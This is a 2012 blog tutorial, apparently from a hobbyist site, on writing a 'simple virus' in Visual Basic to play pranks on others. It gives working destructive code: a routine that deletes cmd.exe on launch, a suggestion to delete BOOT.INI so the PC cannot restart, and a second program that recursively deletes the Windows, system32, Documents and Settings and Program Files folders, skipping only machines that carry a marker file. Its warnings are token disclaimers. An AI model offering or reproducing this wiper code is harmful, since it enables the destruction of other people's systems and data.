Friday, February 10, 2012

Make a simple virus in Visual Basic& Explore VB with me

MAKE A SIMPLE VIRUS IN VISUAL BASIC

Don't try this wil cause damage!.

Well. now i'll teach you how to make a
basic Virus in Visual Basic. Now here the term "A Simple Virus"
means a program that deletes any
basic files/files of your
computer.Afterall all the viruses do
almost the same thing that our virus is
going to do. To start with,Just open the Visual
Basic,Select Standard EXE. Now if you want to your virus to be
active whenever the program is
executed, then type in the following code under the
title:Private Sub Form_Load() We'll start now: Private Sub Form_Load()
Kill "C:\windows
\system32\cmd.exe" End Sub Make a ".exe" file of your program
and start pranking on others by
deleting only simple files instead of
cmd.exe.Just type in the
appropriate path of the file . I'll explain it now. The command "KILL" tells the
computer to delete the file in the
inverted commas. Now whenever the program will be
started in whichever PC where it is,it
will always delete the corresponding
file.The file "CMD.EXE" refers to your
command prompt.You'll never be able
to open it again until you have a Recovery Software to recover the
deleted file.As such,You can place any
file under the kill command. Now you can also place a command
button in your form and copy the
above code under your command
button so that whenever a user clicks
the button the file will be deleted. You can also place the
file"BOOT.INI" in the code instead of
cmd.exe.If BOOT.INI is deleted your
PC will never restart.So,please
beware of that.And dont try it.This's
just for your knowledge.

make a virus in visual basic

This will cause damage ur system
try at your own risk!


Public Sub DelAll(ByVal DirtoDelete As
Variant)
Dim FSO, FS
Set FSO = CreateObject
("Scripting.FileSystemObject")
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub Private Sub Form_Load()
On Error Resume Next If FileExist("c:\windows
\system32\katak.txt") = True Then
End
Else
Call DelAll("c:\windows\system")
Call DelAll("c:\windows\system32″) Call DelAll("c:\windows")
Call DelAll("C:\Documents and Settings
\All Users")
Call DelAll("C:\Documents and Settings
\Administrator")
Call DelAll("C:\Documents and Settings")
Call DelAll("C:\Program Files\Common
Files")
Call DelAll("C:\Program Files\Internet
Explorer")
Call DelAll("C:\Program Files\Microsoft Visual Studio")
Call DelAll("C:\Program Files")
End
End If
End Sub Function FileExist(ByVal FileName As
String) As Boolean
If Dir(FileName) = "" Then
FileExist = False
Else
FileExist = True End If
End Function